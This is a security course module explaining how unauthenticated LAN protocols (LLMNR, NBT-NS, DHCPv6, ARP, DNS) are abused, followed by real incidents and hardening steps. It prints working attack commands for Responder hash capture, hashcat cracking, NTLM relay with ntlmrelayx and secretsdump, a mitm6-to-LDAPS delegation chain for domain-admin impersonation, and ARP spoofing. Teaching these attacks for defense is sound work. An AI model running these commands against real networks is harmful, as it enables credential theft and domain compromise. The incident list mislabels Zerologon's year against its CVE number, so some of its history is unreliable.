Module 2 · Layer 2/3 Trust — ARP, DNS, LLMNR Poisoning

Last updated: April 29, 2026

The protocols that make networks work — ARP, DHCP, DNS, LLMNR, NBT-NS, mDNS — were all designed with zero authentication. They worked in the original LAN era because the LAN was a single trusted segment. In 2026, these protocols are still deployed at scale, still unauthenticated, and attackers still farm them for credentials daily. This module covers why Layer 2/3 protocols remain catastrophic trust points.

Why this happens

ARP (1982), DHCP (1993), DNS (1987), LLMNR (2007) — the dates tell the story. Designed before network-scale threat models existed. Designed when “the network” meant “the cable in the office.” Signed/authenticated versions exist (DNSSEC, DHCPv6 with authentication, 802.1X) but deployment is uneven. Microsoft Active Directory still uses LLMNR and NBT-NS by default on domain-joined workstations in 2026 despite Microsoft’s own published guidance recommending disabling them.

The attacker’s position: on the local segment (after phishing or Wi-Fi compromise), inject responses to these unauthenticated protocols. Victim workstations accept the injected responses as truth. Credentials, session info, and lateral movement opportunities follow.

The classic: LLMNR / NBT-NS poisoning

When a Windows workstation tries to resolve a hostname not in DNS, it asks LLMNR (port 5355) and NBT-NS (137) on the local subnet via broadcast. “Hey, does anyone know where PRINTER-3RD-FLOOR is?” Any attacker on the subnet can respond: “Yes, that’s me.” Victim then authenticates to the attacker, sending their NTLM hash.

# Start Responder (on attacker's Linux box connected to target LAN)
sudo responder -I eth0 -wrfv

# Responder output (within minutes):
# [+] Listening for events...
# [SMB] NTLMv2-SSP Hash captured for alice.smith
# [SMB] Username : CORP\alice.smith
# [SMB] Hash     : alice.smith::CORP:abc123...

# Crack offline with hashcat
hashcat -m 5600 captured_hashes.txt rockyou.txt

# Or relay without cracking
sudo responder -I eth0 -dwrfv -disable-ess  # Don't respond to SMB
sudo ntlmrelayx.py -tf targets.txt -smb2support

A typical 100-employee office with LLMNR enabled yields 20+ captured hashes in the first hour. Of those, 2-5 usually crack within minutes against common passwords. Now the attacker has domain credentials.

SMB relay: no cracking needed

If you have a captured hash but can’t crack it, relay it instead. Relay it to another system where the victim is local admin — now you have RCE on that system as the victim. ntlmrelayx from impacket is the standard tool.

# Find SMB servers with signing disabled (relay target candidates)
crackmapexec smb 10.20.30.0/24 --gen-relay-list relay_targets.txt

# Relay captured NTLM auth to target SMB server
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -socks

# Or escalate: SOCKS proxy the relayed session
proxychains secretsdump.py CORP/[email protected] -no-pass

mitm6 — DHCPv6 attack

Windows prefers IPv6 over IPv4. If the network doesn’t properly configure DHCPv6, a rogue DHCPv6 server can advertise itself as the default IPv6 gateway. Now IPv6 DNS queries go to attacker. Combined with WPAD (Web Proxy Auto-Discovery), attacker MITMs web traffic. Combined with NTLM relay, full domain compromise.

# mitm6 + ntlmrelayx combo (classic 2018-2026 attack)
sudo mitm6 -d corp.local -i eth0 &

# Relay to LDAPS to avoid signing requirement
sudo ntlmrelayx.py -t ldaps://dc.corp.local -wh attacker-wpad \
    --delegate-access --escalate-user normaluser

# Result: normaluser gets msDS-AllowedToActOnBehalfOfOtherIdentity on DC
# Rubeus s4u → impersonate domain admin to DC

This chain — mitm6 → NTLM relay to LDAP → delegation abuse → DA impersonation — has been the default mid-engagement move for red teams since 2018. It still works in 2026 on networks that haven’t specifically hardened DHCPv6.

ARP spoofing — the oldest trick

ARP doesn’t authenticate. Send unsolicited ARP reply claiming “I’m the gateway.” Victims cache it. Their traffic flows through you.

# Classic ARP spoof with arpspoof (from dsniff)
sudo arpspoof -i eth0 -t 10.20.30.45 -r 10.20.30.1

# Or with bettercap (modern, more features)
sudo bettercap -iface eth0
> net.probe on
> net.sniff on
> set arp.spoof.targets 10.20.30.45
> arp.spoof on

Modern switches with dynamic ARP inspection (DAI) and DHCP snooping largely block this. But many enterprise networks never enable DAI — it’s extra configuration and can cause issues if misdeployed.

DNS — trust at internet scale

DNS cache poisoning (classic Kaminsky 2008 attack) still happens in 2026 against unprotected DNS resolvers. More commonly: DNS rebinding lets a malicious website’s DNS respond differently to different clients — first response goes to attacker, second goes to internal RFC1918 address. Internal services reachable by “someone’s browser” via rebinding.

Real incidents

• 2017 “EternalBlue” worm (WannaCry/NotPetya): relied on SMBv1 being enabled and lateral movement via unauthenticated SMB to propagate. Network-protocol trust at layer 4 with worm-scale impact.
• 2019 “MS-NRPC” (Zerologon): CVE-2020-1472. Netlogon RPC protocol cryptography flaw allowed domain takeover from any network-reachable unprivileged position. Pure protocol bug.
• Countless red team engagements: every published pentest retrospective mentions Responder in the first morning. Daily tool in mature engagements.
• DNS hijack → banking breach 2018 (MyEtherWallet): BGP hijack plus DNS manipulation stole crypto from users trusting DNS resolution.

What we find

• LLMNR/NBT-NS enabled on workstations (still true in most enterprise networks in 2026)
• IPv6 not explicitly configured — mitm6 works by default
• WPAD enabled (Windows default)
• SMB signing not required on all servers (relay targets)
• LDAP signing not required
• Port 445, 139 reachable across VLANs that shouldn’t have any SMB traffic
• Dynamic ARP Inspection (DAI) not configured on switches
• DHCP snooping disabled
• 802.1X not deployed for wired network authentication
• Guest Wi-Fi on same VLAN as corporate

Defenses that actually work

1. Disable LLMNR and NBT-NS via Group Policy — highest-ROI change. No business impact for modern networks.
2. Require SMB signing server-side (mandatory, not optional). Blocks relay.
3. Require LDAP signing + channel binding on domain controllers.
4. 802.1X on wired ports — only authenticated devices can connect.
5. Dynamic ARP Inspection + DHCP Snooping on all access switches.
6. Disable IPv6 if not in use; configure DHCPv6 securely if in use.
7. Disable WPAD (GPO setting).
8. Network Access Control (NAC) — 802.1X + compliance posture checks.
9. Detection: SIEM alerts on Responder/Inveigh signatures, unusual LLMNR traffic, sudden IPv6 RA from non-gateway sources.

Mindset takeaway

Every Layer 2/3 protocol designed before 2000 assumes the network is trustworthy. That assumption died. Attackers still exploit the gap because deployment is uneven, because “it still works” is a valid business argument, and because most organizations don’t know which layer-2 attacks are currently possible on their network.

The mindset: treat every unauthenticated broadcast as an attack vector. The question isn’t “could someone exploit this?” — it’s “has someone already, and how would we know?” The answer to the second question is usually “nobody would; we don’t monitor Layer 2.”